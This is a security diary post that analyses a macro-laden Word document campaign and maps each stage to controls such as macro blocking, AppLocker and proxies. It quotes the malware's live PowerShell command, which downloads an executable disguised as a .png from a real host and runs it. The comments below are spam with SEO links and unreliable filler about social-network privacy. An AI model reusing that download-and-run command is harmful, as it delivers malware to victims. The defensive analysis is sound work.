Mapping Attack Methodology to Controls

Published: 2016-11-23
Last Updated: 2016-11-23 03:56:05 UTC
by Tom Webb (Version: 1)
10 comment(s)

Recently we’ve seen lots of malicious documents make it through our first protection layers. (https://www.virustotal.com/en/file/79ff976c5ca6025f3bb90ddfa7298286217c21309c897e6b530603d48dea0369/analysis/) . In the last week, these emails have a word document that spawns a command shell that kicks off a PowerShell script.  When working incidents, it is important to map out the attacker lifecycle to determine where to improve your defenses. 

In this case the execution chain looks like this: Email ->Word Doc -> Cmd.exe ->powershell ->Malware.exe


When the user clicks on the attachment it runs a macro that then kicks off a command shell that runs the following:
cmd /c PowerShell (New-Object System.Net.WebClient).DownloadFile('http://www.tessaban.com/images/images/gfjfgklmslifdsfnln.png','%TMP%\scsnsys.exe');Start-process '%TMP%\scsnsys.exe';


When looking at how PowerShell makes the web connection, nothing special happens on the network. Powershell doesn’t have a user-agent string, so this makes it hard to profile on something simple.


GET /images/images/gfjfgklmslifdsfnln.pngHTTP/1.1
Host: www.tessaban.com
Connection: Keep-Alive

 

So let's map out controls we can put in place to prevent the attack lifecycle.

  1. Stopping delivery of the message (In order of $ and Complexity)
    1. Hold attachment for X number of hours so AV my catch up
    2. Convert file to another type (e.g. Word -> PDF)
    3. Mangle the macro in the file before delivery
    4. Sandbox the attachment before delivery
    5. Preventing Macros from running
  2. Disable macros via GPO
  3. Block users from Cmd.exe
    1. Use an Applocker policy to block cmd.exe
  4. Prevent Powershell from running unsigned scripts
    1. Lots of ways to bypass
  5. Prevent download of malware 
    1. Use sinkhole/proxy ect.
  6. Prevent malware from running in the drop location ( C:\Users\me\AppData\Local\Temp\scsnsys.exe)
    1. Applocker 


Now by looking at this list you can determine what make sense in your environment due to technical or political issues.  This exercise will have you prepared to answer the questions, how can we prevent this in the future.  I also like to add a simple level of effort required to implement these changes (e.g. ~10hrs) and costs (e.g. $$$). 

--

Tom Webb

@twsecblog

10 comment(s)
Vmware Patches VMSA-2016-0005.5, VMSA-2016-0018.3 and VMSA-2016-0021
ISC Stormcast For Wednesday, November 23rd 2016 https://isc.sans.edu/podcastdetail.html?id=5265

Comments

cwqwqwq
eweew<a href="https://www.seocheckin.com/edu-sites-list/">mashood</a>
WQwqwqwq[url=https://www.seocheckin.com/edu-sites-list/]mashood[/url]
dwqqqwqwq mashood
[https://isc.sans.edu/diary.html](https://isc.sans.edu/diary.html)
[https://isc.sans.edu/diary.html | https://isc.sans.edu/diary.html]
What's this all about ..?
password reveal .
<a hreaf="https://technolytical.com/">the social network</a> is described as follows because they respect your privacy and keep your data secure:

<a hreaf="https://technolytical.com/">the social network</a> is described as follows because they respect your privacy and keep your data secure. The social networks are not interested in collecting data about you. They don't care about what you're doing, or what you like. They don't want to know who you talk to, or where you go.

<a hreaf="https://technolytical.com/">the social network</a> is not interested in collecting data about you. They don't care about what you're doing, or what you like. They don't want to know who you talk to, or where you go. The social networks only collect the minimum amount of information required for the service that they provide. Your personal information is kept private, and is never shared with other companies without your permission
https://thehomestore.com.pk/

Diary Archives